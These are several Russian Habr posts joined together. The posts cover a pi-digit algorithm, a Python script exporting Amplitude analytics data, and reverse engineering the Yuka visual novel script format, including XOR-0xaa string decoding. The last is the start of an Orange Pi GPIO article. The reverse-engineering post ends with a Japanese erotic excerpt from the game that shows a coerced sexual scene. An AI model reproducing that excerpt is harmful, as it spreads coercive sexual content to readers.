/\* Perform binary exponentiation algorithm modulo ak. \*/
for (j = 1; j <= i; j++){
if (p1 >= pt){
r = 16. \* r;
r = r - (int) (r / ak) \* ak;
p1 = p1 - pt;
}
pt = 0.5 \* pt;
if (pt >= 1.){
r = r \* r;
r = r - (int) (r / ak) \* ak;
}
}
return r;
}
```
Какие возможности это даёт? Например: мы можем создать систему распределённых вычислений, рассчитывающую число Пи и поставить всем Хабром новый рекорд по точности вычисления (который сейчас, к слову, составляет 10 триллионов знаков после запятой). Согласно эмпирическим данным, дробная часть числа Пи представляет собой нормальную числовую последовательность (хотя доказать это достоверно ещё не удалось), а значит, последовательности цифр из него можно использовать в генерации паролей и просто случайных чисел, или в криптографических алгоритмах (например, в хэшировании). Способов применения можно найти великое множество — надо только включить фантазию.
Больше информации по теме вы можете найти в статье самого Дэвида Бэйли, где он подробно рассказывает про алгоритм и его имплементацию ([pdf](http://www.experimentalmath.info/bbp-codes/bbp-alg.pdf));
И, похоже, вы только что прочитали первую русскоязычную статью об этом алгоритме в рунете — других я найти не смог. | https://habr.com/ru/post/179829/ | null | ru | null |
# Получение данных Amplitude через API
### Введение
Amplitude как инструмент продуктовой аналитики очень хорошо зарекомендовал себя благодаря несложной настройке событий и гибкости визуализаций. И нередко возникает потребность наладить собственную модель атрибуции, провести кластеризацию пользователей или построить дашборд в другой BI-системе. Выполнить подобную махинацию возможно, только имея сырые данные о событиях из Amplitude. О том, как получить эти данные с минимальными знаниями программирования — и будет в этой статье.
### Пререквизит
1. Проект в Amplitude, в котором уже корректно настроены события, и по ним собирается статистика
2. Установлен python (работаю в версии 3.8.3), с которым потенциальный читатель уже умеет работать хотя бы на базовом уровне
### Инструкция
**Шаг 1. Получение API-key и secret-key**
Чтобы выгрузить данные, в первую очередь необходимо получить API-key и secret-key.
Найти их можно, перейдя по следующему пути:
1. «Manage data» (находиться в левой нижней части экрана)
2. Выбираем нужный проект, из которого будут выгружаться данные, и переходим в него
3. В открывшемся меню проекта выбираем «Project settings»
4. Находим строки API-key и secret-key, копируем и сохраняем их в надежном месте.
Без прокликивания можно перейти по ссылке, которая в общем виде выглядит так:
analytics.amplitude.com/$$$$$$$/manage/project/\*\*\*\*\*\*/settings,
где $$$$$$ — логин вашей организации в amplitude, \*\*\*\*\*\* — номер проекта
**Шаг 2. Проверка наличия нужных библиотек**
Хорошая новость в том, что эти библиотеки почти наверняка уже у вас установлены по умолчанию или скачаны, но проверить необходимо. Полный список используемых мною библиотек на момент написания статьи (в скобках указаны версии, где уместно):
1. requests (2.10.0)- отправление запроса через api для получения данных
2. pandas (1.0.1) — чтение json, создание dataframe и последующая запись в файл
3. zipfile — извлечь файлы из архива, полученного через API
4. gzip — распаковка json файлов из .gz
5. os — получение списка файлов из распакованного архива
6. time — необязательная, измерение времени работы скрипта
7. tqdm — необязательная, для удобства наблюдения за прогрессом обработки файлов
**Шаг 3. Написание скрипта загрузки данных**
Хинт: полный скрипт загрузки находится в конце статьи, при желании можно сразу взять его и обращаться к пошаговым пояснениям при необходимости.
*Шаг 3.1. Импорт библиотек*
Производим импорт всех библиотек, перечисленных на втором шаге.
```
# Импорт библиотек
import requests
import pandas as pd
import zipfile
import gzip
import os
import time
import tqdm
from tqdm import tqdm
```
*Шаг 3.2. Отправление запроса в Amplitude*
Засечем начало выполнения скрипта и запишем в переменную a.
startdate и enddate отвечают за период для выгрузки данных и встраиваются в текст отправленного запроса на сервер Amplitude, помимо даты можно также указывать час, меняя значение после 'T' в запросе.
api\_key и secret\_key соответствуют значениям, полученным на первом шаге, в целях безопасности здесь указываю случайные последовательности вместо своих.
```
a = time.time()
# Параметры начальной и конечной даты
startdate = '20200627'
enddate = '20200628'
api_key = 'kldfg844203rkwekfjs9234'
secret_key = '094tfjdsfmw93mxwfek'
# Отправление запроса в Amplitude
response = requests.get('https://amplitude.com/api/2/export?start='+startdate+'T0&end='+enddate+'T0', auth = (api_key, secret_key))
print('1. Запрос отправлен')
```
*Шаг 3.3. Скачивание архива с данными*
Придумываем название для архива и записываем в переменную filename. Для своего удобства я указываю период + указываю, что это данные amplitude. Далее записываем полученный ответ от Amplitude в архив.
```
# Скачивание архива с данными
filename = 'period_since'+startdate+'to'+enddate+'_amplitude_data'
with open(filename + '.zip', "wb") as code:
code.write(response.content)
print('2. Архив с файлами успешно скачан')
```
*Шаг 3.4. Извлечение файлов в папке на компьютере*
В дело вступает библиотека zipfile, которая поможет осуществить извлечение файлов. В третьей строке будьте внимательны и пропишите свой путь, куда вам удобнее произвести извлечение.
```
# Извлечение файлов в папку на компьютере
z = zipfile.ZipFile(filename + '.zip', 'r')
z.extractall(path = 'C:\\Users\\...\\'+filename)
print('3. Архив с файлами извлечен и записан в папку ' + filename)
```
*Шаг 3.5. Преобразование json*
После извлечения файлов из архива нужно преобразовать json файлы, находящиеся в формате .gz и записать их в dataframe для дальнейшей работы.
Обращаю внимание на то, что здесь надо снова поменять путь на свой, а вместо 000000 написать свой номер проекта из Amplitude (либо открыть вручную путь, куда был извлечен архив, и посмотреть название папки внутри).
По порядку следования:
Запись директории в переменную, получение списка файлов из директории, создание пустого датафрейма, time.sleep(1) для корректной работы tqdm, внутри цикла открываем .gz файлы и сразу с помощью pandas читаем json и наполняем заданный dataframe.
```
# Преобразование json к обычному табличному формату
directory = 'C:\\Users\\...\\'+filename+'\\000000'
files = os.listdir(directory)
amplitude_dataframe = pd.DataFrame()
print('Прогресс обработки файлов:')
time.sleep(1)
for i in tqdm(files):
with gzip.open(directory + '\\' + i) as f:
add = pd.read_json(f, lines = 'True')
amplitude_dataframe = pd.concat([amplitude_dataframe, add])
time.sleep(1)
print('4. JSON файлы из архива успешно преобразованы и записаны в dataframe')
```
*Шаг 3.6. Запись dataframe в excel*
Выгрузка в excel здесь просто как пример. Во многих случаях удобнее работать с полученным фреймом данных внутри python или сложить данные в хранилище.
Заменить путь выгрузки данных здесь также придется на свой.
```
# Записать полученной таблицы в Excel-файл
amplitude_dataframe.to_excel('C:\\Users\\...\\'+filename+'.xlsx',index=False)
print('5. Dataframe успешно записан в файл ' + filename)
```
*Шаг 3.7. Считаем время работы скрипта*
Запись текущего времени в переменную b, расчет разницы и количества минут, вывод итого минут. Это последний шаг.
```
b = time.time()
diff = b-a
minutes = diff//60
print('Выполнение кода заняло: {:.0f} минут(ы)'.format( minutes))
```
### Заключение
Вызвать таблицу и начать с ней работать можно, вызвав переменную amplitude\_dataframe, в которую были записаны данные. В ней будет порядка 50 столбцов, из которых в 80% случаев вы будете использовать: event\_type — название ивента, event\_properties — параметры ивента, event\_time — время ивента, uuid — id клиента, user\_properties — параметры клиента, стоит начать работу в первую очередь с них. И при сравнении цифр из собственных расчетов с показателями из дэшбордов Amplitude нельзя забывать о том, что система использует собственную методологию расчета уникальных клиентов/воронок и т.д., и перед этим надо обязательно ознакомиться с документацией Amplitude.
Спасибо за внимание! Теперь вы можете выгружать сырые данные о событиях в Amplitude и полноценно использовать их в своей работе.
Весь скрипт:
```
# Импорт библиотек
import requests
import pandas as pd
import zipfile
import gzip
import os
import time
import tqdm
from tqdm import tqdm
a = time.time()
# Параметры начальной и конечной даты
startdate = '20200627'
enddate = '20200628'
api_key = 'd988fddd7cfc0a8a'
secret_key = 'da05cf1aeb3a361a61'
# Отправление запроса в Amplitude
response = requests.get('https://amplitude.com/api/2/export?start='+startdate+'T0&end='+enddate+'T0', auth = (api_key, secret_key))
print('1. Запрос отправлен')
# Скачивание архива с данными
filename = 'period_since'+startdate+'to'+enddate+'_amplitude_data'
with open(filename + '.zip', "wb") as code:
code.write(response.content)
print('2. Архив с файлами успешно скачан')
# Извлечение файлов в папку на компьютере
z = zipfile.ZipFile(filename + '.zip', 'r')
z.extractall(path = 'C:\\Users\\...\\'+filename)
print('3. Архив с файлами извлечен и записан в папку ' + filename)
# Преобразование json к обычному табличному формату
directory = 'C:\\Users\\...\\'+filename+'\\000000'
files = os.listdir(directory)
amplitude_dataframe = pd.DataFrame()
print('Прогресс обработки файлов:')
time.sleep(1)
for i in tqdm(files):
with gzip.open(directory + '\\' + i) as f:
add = pd.read_json(f, lines = 'True')
amplitude_dataframe = pd.concat([amplitude_dataframe, add])
time.sleep(1)
print('4. JSON файлы из архива успешно преобразованы и записаны в dataframe')
# Записать полученной таблицы в Excel-файл
amplitude_dataframe.to_excel('C:\\Users\\...\\'+filename+'.xlsx',index=False)
print('5. Dataframe успешно записан в файл ' + filename)
b = time.time()
diff = b-a
minutes = diff//60
print('Выполнение кода заняло: {:.0f} минут(ы)'.format( minutes))
``` | https://habr.com/ru/post/508564/ | null | ru | null |
# Реверс-инжиниринг визуальных новелл (часть 2)
Продолжаем нашу серию статей про то, как влезть во внутренности игровых движков и вытаскивать из них всевозможное содержимое. Для тех, кто к нам только что присоединился, коротко напомню, что мы изучали такой забавный жанр, как визуальные новеллы.
Прошло уже много времени с момента того, как мы [научились разбирать архивы движка визуальных новелл Yuka](https://habrahabr.ru/post/281595/), настало время взяться за самое интересное из того, что мы там нашли — собственно, скрипт. Забегая чуть-чуть вперед, сразу предупрежу, что скрипт, конечно, куда более сложная материя, чем просто архив с файлами, поэтому за одну статью нам с ним не разобраться, но сегодня мы попытаемся понять, из каких частей он состоит и получим доступ к текстовым ресурсам.
Перед тем, как погружаться в пучины бинарных дампов, давайте прикинем, как работают большинство движков визуальных новелл. Визуальная новелла сама по себе состоит из текста (реплик героев, диалогов, промежуточного повествования), графики и звуков. Для того, чтобы ее воспроизвести пользователю, явно нужно свести все это воедино с помощью какого-то управляющего воздействия. В теории можно было бы зашить это все прямо в exe-файл, но в 99% случаев (ладно, вру, в 100% виденных лично мной) так все-таки не делают, а хранят такие инструкции отдельно в виде отдельной программы-скрипта. Как правило, скрипт пишется на особенном языке программирования (специфичном для движка), который выглядит как-то так:
```
$ tarot = 0
$ memory = 0
scene bg01_1 with dissolve
play music "bgm/8.mp3" fadein (2.0)
play ambience "amb/forest.mp3" fadein (3.0)
"Morning."
"Not my favourite time of the day."
"The morning is when you're not awake enough to do anything..."
```
Это фрагмент исходника скрипта из одной VN на [Ren'Py](https://www.renpy.org/) — одном из наиболее популярных свободных/бесплатных движков. Оставляя за рамками этой статьи вопрос, насколько хорош Ren'Py сам по себе, просто пока отметим, что же обычно входит в скрипт визуальной новеллы и что нам нужно будет найти:
* текст — он еще бывает либо не приписан никакому персонажу (т.е. текст "от рассказчика" — как в нашем примере), либо таки произносится кем-то
* команды, чтобы показать графику — бэкграунд / спрайт (`scene bg01_1`), иногда с каким-то спецэффектом (`with dissolve`)
* команды, чтобы запустить играться музыку или звуки (`play music`, `play ambience`), иногда тоже с какими-то дополнительными параметрами, чаще всего длинами fade-in и fade-out (плавного нарастания громкости)
* работа с переменными: установка (`$ tarot = 0`, проверка, ветвление)
* еще бывают команды:
+ для воспроизведения произносимой героями речи
+ для управления
+ служебные штуки типа комментариев, меток, макросов
Разумеется, в реальном мире зачастую у нас не будет доступа к исходному коду скрипта. Люди уже лет 50 как научились писать компиляторы (в противовес интерпретаторам), поэтому обычно исходник скрипта компилируется в некий бинарный код (байт-код), который затем исполняется виртуальной машиной внутри движка визуальной новеллы. Иногда везет и для некоторых популярных движков есть легально или не очень легально доступные инструменты — отладчики, компиляторы, декомпиляторы, валидаторы скриптов и т.д, но чаще жизнь не бывает столь простой.
Итак, возвращаемся к нашей визуальной новелле, которую мы начали исследовать в прошлой статье — [Koisuru Shimai no Rokujuso](https://vndb.org/v13353). Мы уже распаковали ее архивы и нашли внутри и графику, и звуки, и музыку, и, самое главное и непонятное пока — кучку файлов с расширением .yks. Предположительно, они и составляют скрипт новеллы. Файлов, кстати, много:
```
YKS/ScriptStart.yks
YKS/trial/Yoyaku.yks
YKS/trial/trial_00100.yks
YKS/trial/trial_00200.yks
YKS/all/all_00010.yks
...
YKS/all/all_02320.yks
```
Всего 103 файла в YKS/all/. Напомню, мы абсолютно честно скачали и исследуем триальную версию — но, судя по всему, разработчики несколько поленились и, видимо, в trial/ лежит скрипт для триальной версии, а в all/ — для полной.
Вообще, исходя из минимального опыта, у строителей движков визуальных новелл есть 2 подхода: либо все пакуется в один гигантский файл, либо файлов много и в каждом из них какая-то своя сцена или событие. Тут похоже, что второе. Кроме того, есть еще отдельный ScriptStart.yks — но он как таковой скорее всего будет нам практически неинтересен: дело в том, что зачастую разработчики хотят сделать движок как можно более универсальным и реализуют всякие пользовательские интерфейсы, менюшки-загрузки-сохранения-опции и т.д. тоже средствами своего скриптового языка. Разбираться с этим можно, но довольно скучно и неплодотворно: поэтому предлагаю брать быка за рога и начинать с собственно сценария игры.
Что мы можем сказать из поверхностного визуального осмотра? Во-первых, т.к. игра работает под Windows, то ее вполне реально запустить и посмотреть, как это выглядит. Тратим n-ное количество времени, находим машину с Windows, запускаем, смотрим, что происходит сразу после нажатия кнопки начала новой игры:
Нас встречает вроде бы начало повествования. Здесь есть фон (после недолгих поисков в BG/ находится файл bg01\_01.png с этим фоном), и есть текст. Этот текст нам еще понадобится, поэтому стоит его перенабрать с экрана:
```
恋する姉妹の六重奏「セクステット」体験版Ver2をダウンロード頂きありがとうございます。
```
Два замечания:
1. Если есть проблемы с набиранием японского текста, могу порекомендовать освоить три-четыре приема, которые сильно упрощают это дело и при определенном терпении дают возможность набирать японские тексты тем, кто абсолютно не представляет, что же это за закорючки. Каждый значок рассматриваем по отдельности:
* проверяем, не знак ли это препинания по такой таблице: 「…」、（）。 — если повезло, то копируем; обратите внимание на то, что и "запятые", и "точки", и скобочки тут специфичные.
* если нет, ищем в вот такой таблице: あいうえおかきくけこさしすせそたちつてとなにぬねのはひふへほまみむめもやゆよらりるれろわを
* потом ищем еще по вот такой: アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワ
* если не помогло — например, попался 恋 — то это kanji; тогда увеличиваем шрифт на 300-500%, чтобы было хорошо видно все мелкие детали и идем на [jisho.org в раздел "поиск по радикалам"](http://jisho.org/#radical); там смотрим на таблицу составных частей (радикалов) и ищем похожие на то, что видим; на примере 恋 — после недолгой медитации находим, что снизу у него составная часть 心 — зажимаем кнопку с этой составной частью и от многих тысяч у нас остается всего пара десятков значков; просматриваем их глазами и находим в выдаче в разделе "10" пятый с начала знак — это и будет искомый 恋.
2. Я не уверен, будет ли там Ver2 или Ｖｅｒ２ — обратите внимание, это не разные шрифты, а внезапно так называемые full-width characters — в юникоде они где-то в районе U+FF01..U+FF5E).
Текст нужен нам будет для двух вещей. Во-первых, собственно как текст — понять, что происходит (даже если не владеете японским — можно вставить в гугл-переводчик и понять, что нас здесь благодарят за скачивание триальной-версии этой игры => т.е. это еще не реальное начало сюжета, а некое вступление, "от автора"). Во-вторых, этот текст или его кусочек мы можем взять, сконвертировать в ShiftJIS (а скорее всего, как мы выяснили в предыдущей заметке, все будет именно в этой кодировке) и поискать его в файлах. Возьмем кусочек с конца и подготовим то, что будем искать:
```
$ echo 'ダウンロード頂きありがとうございます' | iconv -t sjis | hd
00000000 83 5f 83 45 83 93 83 8d 81 5b 83 68 92 b8 82 ab |._.E.....[.h....|
00000010 82 a0 82 e8 82 aa 82 c6 82 a4 82 b2 82 b4 82 a2 |................|
00000020 82 dc 82 b7 |....|
```
Ищем эту строчку в во всех наших файлах .yks и, разумеется, не находим. Не так все просто.
Сделаем еще одно лирическое отступление: давайте ознакомимся с тем, как работает кодировка ShiftJIS. В японском языке, очевидно, значков сильно больше, чем в европейских: в ShiftJIS каждый из значков кодируется минимум 1 байтом, максимум 2. Как видно из [этой таблички](http://www.kreativekorp.com/charset/encoding.php?name=Shift-JIS), значения байтов 00..7F совпадают с ASCII, а вот байты 81..9F и E0..EA означают, что это двухбайтовая комбинация, причем для совместимости опять же с бинарным чтением, второй байт будет иметь [не какое угодно значение](http://www.kreativekorp.com/charset/encoding.php?name=Shift-JIS&char=82), а что-то между 40 и FF.
Микроэкскурс в японский язык: в языке используются 3 группы значков:
* hiragana — выглядит как-то так: ありがとうございます — т.е. округлые простые письменные формы; ~50 значков, но есть всякие вариации типа "большая i = い, маленькая i = ぃ"; 1 слог = 1 знак.
* katakana — выглядит как-то так: ダウンロード — т.е. рублено-квадратные, простые печатные формы; звуки все примерно те же, что и изображаются hiragana, но используется для записи преимущественно заимствованных слов (ダウンロード = da-u-n-lo:-do = download).
* kanji — выглядят как-то так: 体験版 — т.е. как правило, сложные квадратные конструкции из кучи разных частей и загогулек; с ними сложнее всего, вот как раз их много тысяч.
Плюс есть еще знаки препинания, плюс-минус такие же, как в европейских языках: точка `。`, запятая `、`, многоточие `…`, кавычки `「」`, восклицательный и вопросительный знаки и т.п. А вот пробелов обычно нет. Фокус в том, что в тексте постоянно чередуются "важные" слова, которые записываются kanji и частицы, которые записываются hiragana, в результате чего получается эту смесь хоть как-то можно разобрать. Например, возьмем название игры 恋する姉妹の六重奏:
* 恋 — kanji
* する — hiragana
* 姉妹 — kanji
* の — hiragana
* 六重奏 — kanji
Что это дает нам в сухом остатке? Очень просто: частотную таблицу. Берем готовый скрипт первой попавшейся под руку визуальной новеллы на японском, быстренько подсматриваем в юникоде границы диапазонов всех трех групп и прогоняем на нем такой скрипт (простите за каламбур):
```
stats = {}
$stdin.each_char { |c|
t = case c.ord
when 0x3041..0x309F then :hiragana
when 0x30A0..0x30FF then :katakana
when 0x4E00..0x9FCC then :kanji
end
stats[t] ||= 0
stats[t] += 1
}
p stats
```
и получаем на выходе что-то вроде:
```
{nil=>72384, :kanji=>5731, :hiragana=>15377, :katakana=>2241}
```
т.е. в типичном тексте будет ~25% kanji, 65% hiragana и 10% katakana.
Кажется, время расчехлять инструменты и погружаться с головой в работу. Совсем кратко напомню, что мы используем для анализа бинарных файлов с непонятной структурой новый open source инструмент [Kaitai Struct](http://kaitai.io) — он позволяет описывать на языке разметки шаблоны, которые потом можно применять к файлам и быстро визуализировать их содержимое, разложенное по полочкам в виде дерева, а в качестве мега-бонуса потом — скомпилировать шаблон прямо в исходник на фактически любом популярном языке программирования (с момента написания предыдущей статьи Kaitai Struct стал поддерживать не только Java, JavaScript, Python и Ruby, но и C++, C#, Perl и PHP). То есть если смотреть по всяким [спискам top-языков](http://www.tiobe.com/tiobe-index/) — топ 10 охвачен полностью, из топа 20, если не брать domain-specific вещи, не хватает Delphi, Visual Basic (хотя я слабо себе представляю, чтобы кто-то занимался реверс-инжинирингом на древнем Visual Basic не .NET), Swift и Go.
Базовый синтаксис шаблонов Kaitai Struct мы изучили в первой части статьи, поэтому, кто пропустил / подзабыл о чем речь — [самое время с ним ознакомиться / освежить в памяти](https://habrahabr.ru/post/281595/).
Итак, быстро смотрим на дампы 3-4 файлов и понимаем, что в качестве отправной точки нам подойдет такой шаблон:
```
meta:
id: yks
application: Yuka Engine
endian: le
seq:
- id: magic
contents: ["YKS001", 1, 0]
- id: magic2
contents: [0x30, 0, 0, 0, 0, 0, 0, 0, 0x30, 0, 0, 0]
- id: unknown1
type: u4
- id: unknown2
type: u4
- id: unknown3
type: u4
- id: unknown4
type: u4
- id: unknown5
type: u4
- id: unknown6
type: u4
- id: unknown7
type: u4
```
Можно сразу провести аналогии с форматом YKC. Т.к. там в начале шло описание "заголовка", начиная с его длины, то с большой вероятностью фиксированные 0x30, встречающиеся в magic2 везде — это длина первоначального заголовка, поэтому предлагаю зачитывать сразу все до 0x30. Получается 7 чисел, сейчас будет пытаться угадывать, что это такое.
Для Yoyaku.yks (сам файл 27741 байт):
```
[.] @unknown1 = 1845
[.] @unknown2 = 7428
[.] @unknown3 = 795
[.] @unknown4 = 20148
[.] @unknown5 = 7593
[.] @unknown6 = 25
[.] @unknown7 = 0
```
Для trial\_00100.yks (файл 91267 байт):
```
[.] @unknown1 = 6433
[.] @unknown2 = 25780
[.] @unknown3 = 2376
[.] @unknown4 = 63796
[.] @unknown5 = 27471
[.] @unknown6 = 5
[.] @unknown7 = 0
```
И, для сравнения, какой-нибудь файл из all, например all\_00010.yks (12968 байт):
```
[.] @unknown1 = 933
[.] @unknown2 = 3780
[.] @unknown3 = 353
[.] @unknown4 = 9428
[.] @unknown5 = 3540
[.] @unknown6 = 1
[.] @unknown7 = 0
```
Что видно? Во-первых, это все эпично похоже на смещения или размеры в файле, т.к. при размере файла в 91K числа плавают в районе 25-63K, а при размере в 12K — в районе 3-9K. При ближайшем рассмотрении, смещения и размеры скорее всего только unknown2, unknown4, unknown5 — они делятся на 4 и достаточно большие. Во-вторых, unknown7, кажется, всегда 0. В-третьих, unknown6, видимо, задает что-то очень штучно-считаемое. Это может быть, например, размер области зарезервированной памяти виртуальной машины под переменные, число сменяющихся сцен/спрайтов/бэкграундов или еще что-нибудь такое.
Сразу за 0x30 даже невооруженным глазом в людом хекс-редакторе видна таблица возрастающих (или почти всегда возрастающих чисел). Вряд ли это сам байт-код: для байт-кода характерно как раз постоянное повторение одних и тех же последовательностей. Это тоже скорее всего какие-нибудь смещения — например, это могут быть смещения, определяющие начала команд в байт-коде, или какие-нибудь начала-концы строк переменной длины или что-нибудь еще такое. У нас есть 7 unknown-значений, это не так много — давайте переберем и посмотрим, похоже ли одно из них:
* либо на длину этого участка
* либо на абсолютное смещение конца этого участка = начала нового
* либо на количество 4-байтовых целых чисел в участке
Практически первая же попытка подходит очень неплохо: unknown1 оказывается количеством элементов в этом разделе, а unknown2 оказывается указателем на начало следующего раздела. И, таким образом, похоже, что на практике unknown2 = 0x30 + unknown1 \* 4. Добавляем сразу описание, заодно перенеся заголов в явно выделенный тип header, а открываемые секции начинаем называть sect1..sectX:
```
seq:
- id: header
type: header
- id: sect1
size: header.sect2_ofs - 0x30
type: sect1
types:
header:
seq:
- id: magic
contents: ["YKS001", 1, 0]
- id: magic2
contents: [0x30, 0, 0, 0, 0, 0, 0, 0, 0x30, 0, 0, 0]
- id: sect1_qty
type: u4
- id: sect2_ofs
type: u4
- id: unknown3
type: u4
- id: unknown4
type: u4
- id: unknown5
type: u4
- id: unknown6
type: u4
- id: unknown7
type: u4
sect1:
seq:
- id: entries
type: u4
repeat: expr
repeat-expr: _root.header.sect1_qty
```
В итоге trial\_00100 начинает выглядеть вот так:
```
[-] @header
[.] @magic = 59 4b 53 30 30 31 01 00
[.] @magic2 = 30 00 00 00 00 00 00 00 30 00 00 00
[.] @sect1_qty = 6433
[.] @sect2_ofs = 25780
[.] @unknown3 = 2376
[.] @unknown4 = 63796
[.] @unknown5 = 27471
[.] @unknown6 = 5
[.] @unknown7 = 0
[-] @sect1
[-] @entries (6433 = 0x1921 entries)
[.] 0 = 6
[.] 1 = 7
[.] 2 = 3
[.] 3 = 3
[.] 4 = 4
...
[.] 6425 = 2371
[.] 6426 = 2372
[.] 6427 = 34
[.] 6428 = 1
[.] 6429 = 2373
[.] 6430 = 2374
[.] 6431 = 1
[.] 6432 = 2375
```
На самом деле теперь уже заметно, что это не просто возрастающие значения — это вполне может быть байткодом. В этом файле заметные возрастающие числа идут, видимо, от 0 или 1 и в итоге увеличиваются до 2375. Внезапно, unknown3 = 2376 — очень похоже на число этих самых значений. Т.е. байткод ссылается на еще одну какую-то таблицу, в которой 2376 различных значений (видимо, от 0 до 2375 включительно). Что же это может быть?
Смотрим на следующую секцию, просмотрев что там бывает на экрана 3-4 вперед:
По-моему, более-менее очевидно, что это записи по 16 байт (1 строчку) длиной, причем в них есть опять же что-то поразительно похожее на явно постоянно неравномерно увеличивающиеся смещения или индексы. Будет ли таких записей 2376? Проверяем, переименовая unknown3 в sect2\_qty и добавляя тривиальный кусочек, чтобы собрать sect2 из 16-байтовых записей:
```
- id: sect2
size: 16
repeat: expr
repeat-expr: header.sect2_qty
```
и, кажется, бинго, это оно и очень точно:
Невооруженным глазом хорошо видно, что эти самые стройные 16-байтовые записи действительно кончаются ровно после sect2\_qty штук и дальше начинается уже что-то совсем другое. Что мы тут видим? Это явно не длинные 4-байтовые числа, примерно все ненулевое. Какой-то явно периодической структуры тоже не прослеживается, по крайней мере на первый взгляд. Обилие 0xaa. Много 0x28, чередующихся через раз. Смотрим в конец файла, пытаясь обнаружить еще какие-то секции — кажется, нет, в конце примерно такая же фактура:
То есть это третья и последняя секция файла, больше в нем ничего не будет. А что мы еще не видели? Текст и строчки. Видимо, это они и есть, но явно как-то покодированные. Сжатые? Нет, не похоже. Такого количества повторяющихся 0x28 и 0xaa не было бы. Да и повторяющиеся 0x28 во всяких там `28 08 28 1b 28 0e 28 6c 26 6f 28 07 3a 14 28 6b` выглядят страшно подозрительно. Для сравнения, вспомним, как выглядит в ShiftJIS среднестатистический японский текст: `82 a0 82 e8 82 aa 82 c6 82 a4 82 b2 82 b4 82 a2`. Сразу же напрашивается гипотеза, что это простейший подстановочный шифр, где каждый байт преобразуется всегда в один и тот же другой байт. Что это может быть, как получить из 0x82 => 0x28? Человечество придумало на самом деле не так много вариантов:
* сложение/вычитание — прибавить (или вычесть, что одно и то же) к каждому байту одно и то же число, переполнение просто не учитывать
* rol/ror — циклический сдвиг на какое-то число бит, в самом тупом варианте делается сдвиг ровно на 4 бита вправо или влево меняет 2 шестнадцатеричные цифры местами
* исключающее "или" (xor) — с каждым байтом проделать операцию xor с каким-то другим, фиксированным байтом; один из самых тупых, банальных, как-то действующих и посему популярных способов
Вообще есть даже "тяжелая" артиллерия в виде программ типа [XORSearch](https://blog.didierstevens.com/programs/xorsearch/), которые пытаются угадывать такие преобразования перебором, но тут все еще банальнее и у меня получается угадать со второго раза. Обилие 0xaa позволяет предположить, что там много нулей, которые XOR'ятся с 0xaa, что дает 0xaa. А внезапно 0x82 ^ 0xaa как раз равно 0x28. 0xaa — вообще одно из самых банальных предположений, которые стоит проверять по хорошему в первую очередь, т.к. 0xaa = 0b10101010, т.е. xor с ним тупо переворачивает каждый второй бит.
К счастью, в Kaitai Struct есть встроенная поддержка таких преобразований, активизируется через `process:`. Достаточно написать вот так:
```
- id: sect3
size-eos: true
process: xor(0xaa)
```
после чего мы, наконец, сможем наблюдать богатый внутренний мир строковых констант наших подопечных скриптов:
```
000000: 69 66 00 c8 00 00 00 47 6c 6f 62 61 6c 46 6c 61 | if.....GlobalFla
000010: 67 00 3d 00 ff ff 00 00 01 00 00 00 3d 00 7b 00 | g.=.........=.{.
000020: 0d 00 00 00 57 69 6e 64 6f 77 4e 61 6d 65 53 65 | ....WindowNameSe
000030: 74 00 97 f6 82 b7 82 e9 8e 6f 96 85 82 cc 98 5a | t........o.....Z
000040: 8f 64 91 74 28 83 66 83 6f 83 62 83 4f 29 81 7c | .d.t(.f.o.b.O).|
000050: 46 69 6c 65 20 3a 20 74 72 69 61 6c 68 5f 6d 61 | File : trialh_ma
000060: 79 75 2e 79 6b 73 00 7d 00 09 00 00 00 44 72 61 | yu.yks.}.....Dra
000070: 77 53 74 6f 70 00 47 72 61 70 68 69 63 48 69 64 | wStop.GraphicHid
000080: 65 00 0a 00 00 00 54 72 61 6e 73 69 74 69 6f 6e | e.....Transition
000090: 00 02 00 00 00 64 00 00 00 0a 00 00 00 0b 00 00 | .....d..........
0000a0: 00 47 72 61 70 68 69 63 4c 6f 61 64 00 00 00 00 | .GraphicLoad....
```
К счастью, там кроме всего прочего есть туча ASCII-строчек, что сильно упрощает жизнь. На первый взгляд кажется, что это просто C-style строчки, терминированные нулями, но при более внимательном рассмотрении оказывается, что это не совсем так. Тут есть и строчки, и всякая непонятные вкрапления констант, например: `ff ff 00 00 01 00 00 00`, или `02 00 00 00 64 00 00 00 0a 00 00 00 0b 00 00 00`, которые, несмотря на наличие одного печатного ASCII-символа в центре (`d` = 0x64) скорее всего строчками не являются. Кроме того, что самое ценное — вот они — эти самые строчки на японском в ShiftJIS с `82`.
Подытожим, что у нас получилось:
1. sect1, состоящий из 4-байтовых целых чисел (предположительно это и есть байткод), частично ссылающийся этими числами на 16-байтовые записи в sect2
2. sect2, состоящий из 16-байтовых записей с возрастающими числами внутри (предположительно — какие-то смещения)
3. sect3, состоящий преимущественно из null-terminated строчек в ShiftJIS, но не совсем (предположительно — строковые ресурсы и всякие другие константы, на которые ссылается байткод)
На этой маленькой победе, думаю, мы завершим наши сегодняшние изыскания, так как статья очередной раз получается неприлично большой. В какой-то степени — если, например, стоит задача перевести визуальную новеллу — достигнутого сегодня уже достаточно для того, чтобы выдрать тексты и отдать их переводчикам. Берем sect3, находим в ней все, что похоже на SJIS, аккуратно выбрасываем все остальное — вуаля:
```
恋する姉妹の六重奏(デバッグ)－File : trialh_mayu.yks
まゆ
「きゃっ……！！」
教育的指導を兼ねて、お望み通りメチャクチャにしてやろうじゃないか！！
「あっ……お、おにぃっ……」
自分から誘っておきながら、不安そうな表情を浮かべるまゆ。
そんなまゆを、ソファーに押しつけて……胸を露出させ、股間が丸見えになる体勢を強いる。
「んぁっ……」
```
Спасибо всем, кто дочитал до этого места. В следующий раз мы доберемся до собственно байткода и попытаемся понять, как устроены sect1 и sect2. До встречи! | https://habr.com/ru/post/309414/ | null | ru | null |
# Одноплатный компьютер для embedded программиста. Моргаем светодиодом на Qt
Введение
--------
Цель - моргать светодиодом на GPIO одноплатного компьютера в своём Qt проекте.
Первое, что приходит в голову - использовать готовое решение, такое как [wiringOP](https://github.com/orangepi-xunlong/wiringOP). Однако для меня, как программиста микроконтроллеров, странно устанавливать пакет для работы с GPIO. Но помимо этого сторонний пакет ещё и нужно динамически линковать (связывать) с моим приложением. А тут возникает и вопрос совместимости с новой версией пакета, и вопрос того, будет ли пакет этот в системе установлен. Таким образом, я решил прикрутить wiringOP к своему проекту на Qt статически, да и ещё иметь возможность редактировать wiringOP как проект статической библиотеки прямо в Qt Creator.
